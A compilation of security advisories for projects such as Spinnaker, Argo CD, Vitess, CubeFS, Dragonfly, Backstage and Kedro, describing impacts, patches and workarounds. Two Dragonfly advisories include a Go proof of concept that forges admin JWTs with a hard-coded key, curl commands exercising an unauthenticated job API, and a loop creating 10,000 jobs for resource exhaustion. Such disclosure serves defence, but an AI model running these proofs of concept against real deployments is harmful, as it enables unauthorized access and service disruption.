Impact A bad actor can execute arbitrary commands very simply on the clouddriver pods. This can expose credentials, remove files, or inject resources easily.

Workarounds Disable the gitrepo artifact types.

Impact Echo like some other services, uses SPeL (Spring Expression Language) to process information - specifically around expected artifacts. Unlike orca, it was NOT restricting that context to a set of trusted classes, but allowing FULL JVM access. This enables a user to use arbitrary java classes which allow deep access to the system. This enables the ability to invoke commands, access files, etc.

Workarounds Disable echo entirely.

Spinnaker is an open source, multi-cloud continuous delivery platform. Spinnaker has improper permissions allowing pipeline creation & execution. This lets an arbitrary user with access to the gate endpoint to create a pipeline and execute it without authentication. If users haven't setup Role-based access control (RBAC) with-in spinnaker, this enables remote execution and access to deploy almost any resources on any account. Patches are available on the latest releases of the supported branches and users are advised to upgrade as soon as possible. Users unable to upgrade should enable RBAC on ALL accounts and applications. This mitigates the ability of a pipeline to affect any accounts. Block application access unless permission are enabled. Users should make sure ALL application creation is restricted via appropriate wildcards.

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. A critical vulnerability has been discovered in Argo CD starting with version 1.4.0 and prior to versions 2.1.15, 2.2.9, and 2.3.4 which would allow unauthenticated users to impersonate as any Argo CD user or role, including the admin user, by sending a specifically crafted JSON Web Token (JWT) along with the request. In order for this vulnerability to be exploited, anonymous access to the Argo CD instance must have been enabled. In a default Argo CD installation, anonymous access is disabled. The vulnerability can be exploited to impersonate as any user or role, including the built-in admin account regardless of whether it is enabled or disabled. Also, the attacker does not need an account on the Argo CD instance in order to exploit this. If anonymous access to the instance is enabled, an attacker can escalate their privileges, effectively allowing them to gain the same privileges on the cluster as the Argo CD instance, which is cluster admin in a default installation. This will allow the attacker to create, manipulate and delete any resource on the cluster. They may also exfiltrate data by deploying malicious workloads with elevated privileges, thus bypassing any redaction of sensitive data otherwise enforced by the Argo CD API. A patch for this vulnerability has been released in Argo CD versions 2.3.4, 2.2.9, and 2.1.15. As a workaround, one may disable anonymous access, but upgrading to a patched version is preferable.

Improper input validation on the contains LoopBack filter may allow for arbitrary SQL injection. When the extended filter property contains is permitted to be interpreted by the Postgres connector, it is possible to inject arbitrary SQL which may affect the confidentiality and integrity of data stored on the connected database. A patch was released in version 5.5.1. This affects users who does any of the following: - Connect to the database via the DataSource with allowExtendedProperties: true setting OR - Uses the connector's CRUD methods directly OR - Uses the connector's other methods to interpret the LoopBack filter. Users who are unable to upgrade should do the following if applicable: - Remove allowExtendedProperties: true DataSource setting - Add allowExtendedProperties: false DataSource setting - When passing directly to the connector functions, manually sanitize the user input for the contains LoopBack filter beforehand.

Impact

Argo CD Cluster secrets might be managed declaratively using Argo CD / kubectl apply. As a result, the full secret body is stored inkubectl.kubernetes.io/last-applied-configuration annotation.

https://github.com/argoproj/argo-cd/pull/7139 introduced the ability to manage cluster labels and annotations. Since clusters are stored as secrets it also exposes the kubectl.kubernetes.io/last-applied-configuration annotation which includes full secret body. In order to view the cluster annotations via the Argo CD API, the user must have clusters, get RBAC access.

Note: In many cases, cluster secrets do not contain any actually-secret information. But sometimes, as in bearer-token auth, the contents might be very sensitive.

Patches

The bug has been patched in the following versions:

2.8.3 2.7.14 2.6.15

Workarounds

Update/Deploy cluster secret with server-side-apply flag which does not use or rely on kubectl.kubernetes.io/last-applied-configuration annotation. Note: annotation for existing secrets will require manual removal.

For more information

Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd

Impact

Any user with read/write access to the backup storage location (e.g. an S3 bucket) can manipulate backup manifest files so that arbitrary code is later executed when that backup is restored. This can be used to provide that attacker with unintended/unauthorized access to the production deployment environment — allowing them to access information available in that environment as well as run any additional arbitrary commands there.

Patches Fixes are expected to be released with versions v23.0.3 and v22.0.4 See fix commit at https://github.com/vitessio/vitess/commit/4c0173293907af9cb942a6683c465c3f1e9fdb5c

Workarounds

If maintainers intended to use an external decompressor then they can always specify that decompressor command in the --external-decompressor flag value for vttablet and vtbackup. That then overrides any value specified in the manifest file.

If maintainers did not intend to use an external decompressor, nor an internal one, then they can specify a value such as cat or tee in the --external-decompressor flag value for vttablet and vtbackup to ensure that a harmless command is always used.

References

Users can read more about the issue here: https://github.com/vitessio/vitess/issues/19459

Impact

VTPM server listens on port 8877, exposing limited TPM functionality. The server reads 4 bytes as a uint32 size header, then allocates that amount on the stack for incoming data. This allows Denial of Service attacks against the vTPM service.

An workload (a container or VM) running on EVE-OS can use this to generate a DOS against the vTPM service.

Patches

Fixed in 9.4.3-lts and 10.1.0

Workarounds

None

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. All unpatched versions of Argo CD starting with 1.0.0 are vulnerable to an improper access control bug, allowing a malicious user to potentially escalate their privileges to admin-level. Versions starting with 0.8.0 and 0.5.0 contain limited versions of this issue. To perform exploits, an authorized Argo CD user must have push access to an Application's source git or Helm repository or sync and override access to an Application. Once a user has that access, different exploitation levels are possible depending on their other RBAC privileges. A patch for this vulnerability has been released in Argo CD versions 2.3.2, 2.2.8, and 2.1.14. Some mitigation measures are available but do not serve as a substitute for upgrading. To avoid privilege escalation, limit who has push access to Application source repositories or sync + override access to Applications; and limit which repositories are available in projects where users have update access to Applications. To avoid unauthorized resource inspection/tampering, limit who has delete, get, or action access to Applications.

Backstage is an open platform for building developer portals. The Backstage scaffolder-backend plugin uses a templating library that requires sandbox, as it by design allows for code injection. The library used for this sandbox so far has been vm2, but in light of several past vulnerabilities and existing vulnerabilities that may not have a fix, the plugin has switched to using a different sandbox library. A malicious actor with write access to a registered scaffolder template could manipulate the template in a way that allows for remote code execution on the scaffolder-backend instance. This was only exploitable in the template YAML definition itself and not by user input data. This is vulnerability is fixed in version 1.15.0 of @backstage/plugin-scaffolder-backend.

CubeFS is an open-source cloud-native file storage system. Prior to version 3.3.1, CubeFS used an insecure random string generator to generate user-specific, sensitive keys used to authenticate users in a CubeFS deployment. This could allow an attacker to predict and/or guess the generated string and impersonate a user thereby obtaining higher privileges. When CubeFS creates new users, it creates a piece of sensitive information for the user called the “accessKey”. To create the "accesKey", CubeFS uses an insecure string generator which makes it easy to guess and thereby impersonate the created user. An attacker could leverage the predictable random string generator and guess a users access key and impersonate the user to obtain higher privileges. The issue has been fixed in v3.3.1. There is no other mitigation than to upgrade.

A vulnerability was found in CubeFS that could allow users to read sensitive data from the logs which could allow them escalate privileges.

CubeFS leaks configuration keys in plaintext format in the logs. These keys could allow anyone to carry out operations on blobs that they otherwise do not have permissions for. For example, an attacker that has succesfully retrieved a secret key from the logs can delete blogs from the blob store.

The attacker can either be an internal user with limited privileges to read the log, or it can be an external user who has escalated privileges sufficiently to access the logs. There is no evidence of this vulnerability being exploited in the wild. It was found during an ongoing security audit carried out by Ada Logics in collaboration with OSTIF and the CNCF.

The vulnerability has been patched in v3.3.1. There is no other mitigated than upgrading.

Yocto Project is an open source collaboration project that helps developers create custom Linux-based systems regardless of the hardware architecture. In Yocto Projects Bitbake before 2.6.2 (before and included Yocto Project 4.3.1), with the Toaster server (included in bitbake) running, missing input validation allows an attacker to perform a remote code execution in the server's shell via a crafted HTTP request. Authentication is not necessary. Toaster server execution has to be specifically run and is not the default for Bitbake command line builds, it is only used for the Toaster web based user interface to Bitbake. The fix has been backported to the bitbake included with Yocto Project 5.0, 3.1.31, 4.0.16, and 4.3.2.

In gnss service, there is a possible escalation of privilege due to improper certificate validation. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS08720039; Issue ID: MSV-1424.

In gnss service, there is a possible out of bounds write due to improper input validation. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS08719602; Issue ID: MSV-1412.

Summary Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.

Details Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass go authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{ Realm: "Dragonfly", Key: []byte("Secret Key"), Timeout: 2 24 time.Hour, MaxRefresh: 2 24 time.Hour, IdentityKey: identityKey,

IdentityHandler: func(c gin.Context) any { claims := jwt.ExtractClaims(c)

id, ok := claims[identityKey] if !ok { c.JSON(http.StatusUnauthorized, gin.H{ "message": "Unavailable token: require user id", }) c.Abort() return nil }

c.Set("id", id) return id })

PoC Use code below to generate a jwt token go package main

import ( "errors" "fmt" "time"

"github.com/golang-jwt/jwt/v4" )

func (stc DragonflyTokenClaims) Valid() error { // Verify expiry. if stc.ExpiresAt <= time.Now().UTC().Unix() { vErr := new(jwt.ValidationError) vErr.Inner = errors.New("Token is expired") vErr.Errors |= jwt.ValidationErrorExpired return vErr } return nil }

type DragonflyTokenClaims struct { Id int32 json:"id,omitempty" ExpiresAt int64 json:"exp,omitempty" Issue int64 json:"origiat,omitempty" }

func main() { signingKey := "Secret Key" token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{ ExpiresAt: time.Now().Add(time.Hour).Unix(), Id: 1, Issue: time.Now().Unix(), }) signedToken, := token.SignedString([]byte(signingKey)) fmt.Println(signedToken) } And send request with JWT above , you can still get data without restriction. <img width="1241" alt="image" src="https://user-images.githubusercontent.com/70683161/224255896-8604fa70-5846-4fa0-b1f9-db264c5865fe.png">

Impact An attacker can perform any action as a user with admin privileges.

In PyTorch <=2.4.1, the RemoteModule has Deserialization RCE. NOTE: this is disputed by multiple parties because this is intended behavior in PyTorch distributed computing.

In wlan STA FW, there is a possible out of bounds write due to improper input validation. This could lead to remote (proximal/adjacent) code execution with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00389045 / ALPS09136494; Issue ID: MSV-1796.

A type confusion in the nasmessagedecode function of Magma <= 1.8.0 (fixed in v1.9 commit 08472ba98b8321f802e95f5622fa90fec2dea486) allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via a crafted NAS packet.

Insecure permissions in pipecd v0.49 allow attackers to gain access to the service account's token, leading to escalation of privileges.

Description I found a Remote Command Execution (RCE) vulnerability in PyTorch. When loading model using torch.load with weightsonly=True, it can still achieve RCE.

Background knowledge https://github.com/pytorch/pytorch/security As you can see, the PyTorch official documentation considers using torch.load() with weightsonly=True to be safe. !image Since everyone knows that weightsonly=False is unsafe, so they will use the weightsonly=True to mitigate the seucirty issue. But now, I just proved that even if you use weightsonly=True, it can still achieve RCE.

Credit This vulnerability was found by Ji'an Zhou.

Impact A peer exposes the gRPC API and HTTP API for consumption by other peers. These APIs allow peers to send requests that force the recipient peer to create files in arbitrary file system locations, and to read arbitrary files. This allows peers to steal other peers’ secret data and to gain remote code execution (RCE) capabilities on the peer’s machine.

golang file, err := os.OpenFile(t.DataFilePath, os.ORDWR, defaultFileMode) if err != nil { return 0, err } defer file.Close() if , err = file.Seek(req.Range.Start, io.SeekStart); err != nil { return 0, err } n, err := io.Copy(file, io.LimitReader(req.Reader, req.Range.Length))

Patches

- Dragonfy v2.1.0 and above.

Workarounds

There are no effective workarounds, beyond upgrading.

References

A third party security audit was performed by Trail of Bits, you can see the full report.

If you have any questions or comments about this advisory, please email us at dragonfly-maintainers@googlegroups.com.

Summary

Dragonfly Manager's Job REST API endpoints lack authentication, allowing unauthenticated attackers to create, query, modify, and delete jobs, potentially leading to resource exhaustion, information disclosure, and service disruption.

Affected Products

- Product: Dragonfly - Component: Manager (REST API) - Affected Versions: v2.x (based on source code analysis, including v2.4.0) - Affected Endpoints: /api/v1/jobs

Vulnerability Details

Description

Dragonfly Manager's Job API endpoints (/api/v1/jobs) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to perform the following operations:

1. List all jobs (GET /api/v1/jobs) 2. Create new jobs (POST /api/v1/jobs) 3. Query job details (GET /api/v1/jobs/:id) 4. Modify jobs (PATCH /api/v1/jobs/:id) 5. Delete jobs (DELETE /api/v1/jobs/:id)

Technical Root Cause

In the source code file manager/router/router.go at lines 204-211, the Job API route group lacks authentication middleware:

go // TODO Add auth to the following routes and fix the tests. // Job. job := apiv1.Group("/jobs") job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob) job.DELETE(":id", h.DestroyJob) job.PATCH(":id", h.UpdateJob) job.GET(":id", h.GetJob) job.GET("", h.GetJobs)

In contrast, other API endpoints (such as /clusters) are correctly configured with authentication:

go // manager/router/router.go:143 c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)

The developer left a TODO comment in the code, indicating this is a known but unresolved issue.

Proof of Concept

Environment Setup

Prerequisites - Kubernetes cluster (Kind/Minikube/GKE, etc.) - Helm 3.8.0+ - kubectl - curl and jq

Deployment Steps

1. Add Dragonfly Helm Repository bash helm repo add dragonfly https://dragonflyoss.github.io/helm-charts/ helm repo update

2. Generate Deployment Manifest bash helm template dragonfly dragonfly/dragonfly \ --namespace dragonfly-system \ --set manager.replicas=1 \ --set scheduler.replicas=1 \ --set seedClient.replicas=1 \ --set client.enable=false > /tmp/dragonfly-manifest.yaml

3. Deploy to Kubernetes bash kubectl create namespace dragonfly-system kubectl apply -f /tmp/dragonfly-manifest.yaml -n dragonfly-system kubectl -n dragonfly-system wait --for=condition=Ready pods --all --timeout=600s

Expected Output: namespace/dragonfly-system created [... resource creation messages ...] pod/dragonfly-manager-5cc788d64b-grpbk condition met pod/dragonfly-mysql-0 condition met pod/dragonfly-redis-master-0 condition met pod/dragonfly-scheduler-0 condition met pod/dragonfly-seed-client-0 condition met

4. Setup Port Forwarding bash kubectl -n dragonfly-system port-forward svc/dragonfly-manager 8080:8080 &

Exploitation Steps

Step 1: Verify Unauthenticated Access

Command: bash curl -s -X GET http://localhost:8080/api/v1/jobs

Actual Output: json []

HTTP Status Code: 200 OK

Analysis: The API returns a successful response instead of 401 Unauthorized, confirming the lack of authentication.

Step 2: Create Unauthorized Job

Command: bash curl -s -X POST http://localhost:8080/api/v1/jobs \ -H "Content-Type: application/json" \ -d '{ "type": "preheat", "args": { "type": "file", "url": "http://example.com/test-file.txt" }, "schedulerclusterids": [1] }' | jq .

Actual Output: json { "id": 2, "createdat": "2026-01-17T16:34:22.497Z", "updatedat": "2026-01-17T16:34:22.497Z", "taskid": "groupdd5565a2-686a-4c10-ad08-f5ce2950e1c9", "type": "preheat", "state": "PENDING", "args": { "type": "file", "url": "http://example.com/test-file.txt", "scope": "singleseedpeer", "timeout": 3600000000000 }, "userid": 0, "schedulerclusters": [ { "id": 1, "name": "cluster-1", "isdefault": true } ] }

HTTP Status Code: 200 OK

Analysis: Successfully created a Job (ID: 2) without any authentication token.

Step 3: Query Job Details

Command: bash curl -s -X GET http://localhost:8080/api/v1/jobs/2 | jq '.id, .type, .state'

Actual Output: json 2 "preheat" "PENDING"

HTTP Status Code: 200 OK

Step 4: Modify Job

Command: bash curl -s -X PATCH http://localhost:8080/api/v1/jobs/2 \ -H "Content-Type: application/json" \ -d '{"bio": "Modified by unauthenticated attacker"}' | jq '.id, .bio'

Actual Output: json 2 "Modified by unauthenticated attacker"

HTTP Status Code: 200 OK

Step 5: Delete Job

Command: bash curl -s -o /dev/null -w "%{httpcode}" -X DELETE http://localhost:8080/api/v1/jobs/2

Actual Output: 200

HTTP Status Code: 200 OK

Step 6: Comparison Test - Authenticated Endpoint

Command: bash curl -s -X GET http://localhost:8080/api/v1/clusters | jq .

Actual Output: json { "message": "Unauthorized" }

HTTP Status Code: 401 Unauthorized

Analysis: This proves that the authentication mechanism itself is working correctly; only the Job API endpoints are missing the configuration.

Automated POC Script

Complete automated verification script available at: - Script: poc.sh - Output Log: pocoutput.log

Execution Summary: [Test 1] GET /api/v1/jobs - HTTP 200 VULNERABLE [Test 2] POST /api/v1/jobs - HTTP 200 VULNERABLE (Job ID: 2) [Test 3] GET /api/v1/jobs/2 - HTTP 200 VULNERABLE [Test 4] PATCH /api/v1/jobs/2 - HTTP 200 VULNERABLE [Test 5] DELETE /api/v1/jobs/2 - HTTP 200 VULNERABLE [Test 6] GET /api/v1/clusters - HTTP 401 EXPECTED (comparison test)

Impact Analysis

Direct Impact

1. Unauthorized Job Management: Attackers can fully control the Job lifecycle (CRUD operations) 2. Information Disclosure: Can query all jobs, potentially exposing internal URLs, configurations, and business logic 3. Service Disruption: Can delete legitimate jobs, affecting normal file distribution services 4. Resource Exhaustion: Can create massive numbers of jobs leading to system resource exhaustion (DoS)

Potential Attack Scenarios

1. Resource Exhaustion Attack bash Create 10,000 jobs to exhaust resources for i in $(seq 1 10000); do curl -X POST http://manager:8080/api/v1/jobs \ -H "Content-Type: application/json" \ -d "{\"type\":\"preheat\",\"args\":{\"type\":\"file\",\"url\":\"http://example.com/file-${i}.txt\"},\"schedulerclusterids\":[1]}" & done

2. SSRF Risk: Through the URL parameter of Preheat jobs, SSRF attacks may be triggered (although there is SafeDialer protection, risks still exist)

3. Business Logic Disruption: Delete or modify critical jobs, affecting CDN preheating and file distribution functionality

Affected Deployment Scenarios

- Manager API exposed on the public internet or untrusted networks - Malicious users or compromised systems in internal networks - Tenant isolation failures in multi-tenant environments

Remediation

Recommended Fix

Add authentication and authorization middleware to the Job API in the manager/router/router.go file:

go // Before Fix (lines 204-211) job := apiv1.Group("/jobs") job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob) job.DELETE(":id", h.DestroyJob) job.PATCH(":id", h.UpdateJob) job.GET(":id", h.GetJob) job.GET("", h.GetJobs)

// After Fix job := apiv1.Group("/jobs", jwt.MiddlewareFunc(), rbac) job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob) job.DELETE(":id", h.DestroyJob) job.PATCH(":id", h.UpdateJob) job.GET(":id", h.GetJob) job.GET("", h.GetJobs)

Temporary Mitigation

Before the fix is released, the following mitigation measures can be taken:

1. Network Isolation: Restrict network access to the Manager API - Use firewall rules to limit source IPs - Only allow trusted internal networks to access - Use Kubernetes NetworkPolicy to restrict Pod-to-Pod communication

2. API Gateway: Deploy an API gateway in front of Manager for authentication - Use reverse proxies like Nginx/Kong/Traefik - Configure OAuth2/JWT validation

3. Monitoring and Alerting: Monitor abnormal access patterns to Job API - Log all Job API calls - Set up alerts for abnormal job creation/deletion

Verify Fix

After the fix, all unauthenticated requests should return 401 Unauthorized:

bash curl -s -X GET http://localhost:8080/api/v1/jobs

Expected Output: json { "message": "Unauthorized" }

Appendix: Complete Verification Logs

Deployment Verification Logs

bash $ kubectl -n dragonfly-system get pods NAME READY STATUS RESTARTS AGE dragonfly-manager-5cc788d64b-grpbk 1/1 Running 0 5m dragonfly-mysql-0 1/1 Running 0 5m dragonfly-redis-master-0 1/1 Running 0 5m dragonfly-redis-replicas-0 1/1 Running 0 5m dragonfly-scheduler-0 1/1 Running 0 5m dragonfly-seed-client-0 1/1 Running 0 5m

$ kubectl -n dragonfly-system get svc dragonfly-manager NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE dragonfly-manager ClusterIP 10.96.240.126 <none> 8080/TCP,65003/TCP 5m

POC Execution Complete Logs

See pocoutput.log file for details. ========================================== VUL-001: Job API Unauthenticated Access POC ==========================================

[Test 1] GET /api/v1/jobs (No Authentication) HTTP Status: 200 Response: [] ✅ VULNERABLE: Endpoint accessible without authentication

[Test 2] POST /api/v1/jobs (No Authentication) HTTP Status: 200 Job ID: 2 ✅ VULNERABLE: Job created without authentication

[Test 3] GET /api/v1/jobs/2 (No Authentication) HTTP Status: 200 ✅ VULNERABLE: Job details accessible without authentication

[Test 4] PATCH /api/v1/jobs/2 (No Authentication) HTTP Status: 200 ✅ VULNERABLE: Job updated without authentication

[Test 5] DELETE /api/v1/jobs/2 (No Authentication) HTTP Status: 200 ✅ VULNERABLE: Job deleted without authentication

[Test 6] GET /api/v1/clusters (Should Require Authentication) HTTP Status: 401 Response: {"message":"Unauthorized"} ✅ EXPECTED: Endpoint correctly requires authentication

========================================== POC Execution Complete ==========================================

---

Patches

- Dragonfy v2.4.1 and above.

Workarounds

There are no effective workarounds, beyond upgrading.

Impact This is a configuration bypass vulnerability that enables arbitrary code execution. The @backstage/plugin-techdocs-node package uses an allowlist to filter dangerous MkDocs configuration keys during the documentation build process.

A gap in this allowlist allows attackers to craft an mkdocs.yml that causes arbitrary Python code execution, completely bypassing TechDocs' security controls.

Patches

Patched in @backstage/plugin-techdocs-node version 1.14.3

Workarounds If users cannot upgrade immediately:

1. Use Docker mode with restricted access: Configure TechDocs with runIn: docker instead of runIn: local. This provides container isolation, though it does not fully mitigate the risk. 2. Restrict repository access: Limit who can modify mkdocs.yml files in repositories that TechDocs processes. Only allow trusted contributors. 3. Manual review: Implement PR review requirements for changes to mkdocs.yml files to detect malicious hooks configurations before they are merged. 4. Downgrade MkDocs: Use MkDocs < 1.4.0 (e.g., 1.3.1) which does not support hooks. Note: This may limit access to newer MkDocs features.

Note: Building documentation in CI/CD pipelines using @techdocs/cli does not mitigate this vulnerability, as the CLI uses the same vulnerable @backstage/plugin-techdocs-node package.

Resources MkDocs Hooks Documentation MkDocs 1.4 Release Notes TechDocs Architecture

Impact

This is a critical Remote Code Execution (RCE) vulnerability caused by unsafe use of logging.config.dictConfig() with user-controlled input.

Kedro allows the logging configuration file path to be set via the KEDROLOGGINGCONFIG environment variable and loads it without validation. The logging configuration schema supports the special () key, which enables arbitrary callable instantiation. An attacker can exploit this to execute arbitrary system commands during application startup.

---

Patches

The vulnerability is fixed by introducing validation that rejects the unsafe () factory key in logging configurations before passing them to dictConfig().

Fixed in - Kedro 1.3.0

Users should upgrade to this version as soon as possible.

---

Workarounds

If upgrading is not immediately possible:

- Do not allow untrusted input to control the KEDROLOGGINGCONFIG environment variable - Restrict write access to logging configuration files - Avoid using externally supplied or dynamically generated logging configs - Manually validate logging YAML to ensure it does not contain the () key

These mitigations reduce risk but do not fully eliminate it.

AGL app-framework-main thru 17.1.12 contains a Zip Slip path traversal vulnerability (CWE-22) combined with a TOCTOU race condition (CWE-367) in the widget installation flow. The isvalidfilename function in wgtpkg-zip.c validates ZIP entry names but does not check for dot notation directory traversal sequences it only blocks absolute paths. The zread extraction function uses openat(workdirfd, filename, OCREAT) which resolves dot notation values relative to the work directory, allowing files to be written anywhere on the filesystem. Critically, in function installwidget in file wgtpkg-install.c, extraction via zread occurs BEFORE signature verification via checkallsignatures. Even if signature verification fails, the error cleanup (removeworkdir) only deletes the temporary work directory files written outside via path traversal persist permanently.

NATS nats-server 2.2.0 through 2.7.4 allows directory traversal because of an unintended path to a management action from a management account.

All versions of package dojo are vulnerable to Prototype Pollution via the setObject function.

Heap-based buffer overflow in the unhtmlify function in foomatic-rip in foomatic-filters before 4.0.6 allows remote attackers to cause a denial of service (memory corruption and crash) or possibly execute arbitrary code via a long job title.

The Linux Foundation ONOS SDN Controller 1.15 and earlier versions is affected by: Improper Input Validation. The impact is: A remote attacker can execute arbitrary commands on the controller. The component is: apps/yang/src/main/java/org/onosproject/yang/impl/YangLiveCompilerManager.java. The attack vector is: network connectivity. The fixed version is: 1.15.